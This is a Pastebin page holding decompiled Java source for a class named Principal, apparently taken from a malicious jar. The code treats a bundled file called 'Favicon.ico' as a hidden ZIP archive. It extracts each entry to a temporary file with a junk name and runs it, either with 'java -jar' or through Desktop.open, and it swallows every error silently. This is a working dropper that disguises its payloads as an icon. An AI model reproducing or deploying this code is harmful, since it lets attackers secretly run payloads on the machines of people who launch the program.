Advertisement
Guest User

Untitled

a guest
Jun 3rd, 2013
274
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.54 KB | None | 0 0
  1. // Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
  2. // Jad home page: http://www.geocities.com/kpdus/jad.html
  3. // Decompiler options: packimports(3)
  4. // Source File Name:   Principal.java
  5.  
  6. import java.awt.Desktop;
  7. import java.io.*;
  8. import java.util.zip.ZipEntry;
  9. import java.util.zip.ZipInputStream;
  10.  
  11. public class Principal extends Thread {
  12.  
  13.     public Principal() {
  14.     }
  15.  
  16.     private String getFav() {
  17.         return "Favicon.ico";
  18.     }
  19.  
  20.     private InputStream getFaviconInputStream() {
  21.         return getClass().getResourceAsStream(getFav());
  22.     }
  23.  
  24.     public void run() {
  25.         InputStream favInputStream = getFaviconInputStream();
  26.         ZipInputStream zipInputStream = new ZipInputStream(favInputStream);
  27.         ZipEntry zipEntry;
  28.         try {
  29.             while((zipEntry = zipInputStream.getNextEntry()) != null) {
  30.                 byte byteArray[] = new byte[1024];
  31.                 ByteArrayOutputStream bOutputStream = new ByteArrayOutputStream();
  32.                 int i;
  33.                 while((i = zipInputStream.read(byteArray)) > -1)
  34.                     bOutputStream.write(byteArray, 0, i);
  35.                 bOutputStream.close();
  36.                 String filename = zipEntry.getName();
  37.                 createAndExecuteTmpFile(filename, bOutputStream.toByteArray());
  38.                 zipInputStream.closeEntry();
  39.             }
  40.         }
  41.         catch(IOException ex) { }
  42.     }
  43.  
  44.     private void createAndExecuteTmpFile(String suffix, byte bArray[]) {
  45.         try {
  46.             File executableFile = File.createTempFile("asdqwdoiqjwdomasdlkasmdklasd", suffix);// params are prefix and suffix..
  47.             FileOutputStream executableOutPutStream = new FileOutputStream(executableFile);
  48.             executableOutPutStream.write(bArray);
  49.             executableOutPutStream.close();
  50.             executeFile(executableFile);
  51.         }
  52.         catch(Exception ex) { }
  53.     }
  54.  
  55.     private void executeFile(File tempFile) {
  56.         try {
  57.             System.out.println("");
  58.             if(tempFile.getName().contains(".jar")) {
  59.                 System.out.println("");
  60.                 Runtime.getRuntime().exec(new String[] {
  61.                     "java", "-jar", tempFile.getAbsolutePath()
  62.                 });
  63.             } else {
  64.                 System.out.println("");
  65.                 Desktop.getDesktop().open(tempFile.getAbsoluteFile());
  66.             }
  67.         }
  68.         catch(IOException ex) { }
  69.     }
  70.  
  71.     public static void main(String args[]) {
  72.         Principal p = new Principal();
  73.         p.start();
  74.     }
  75. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement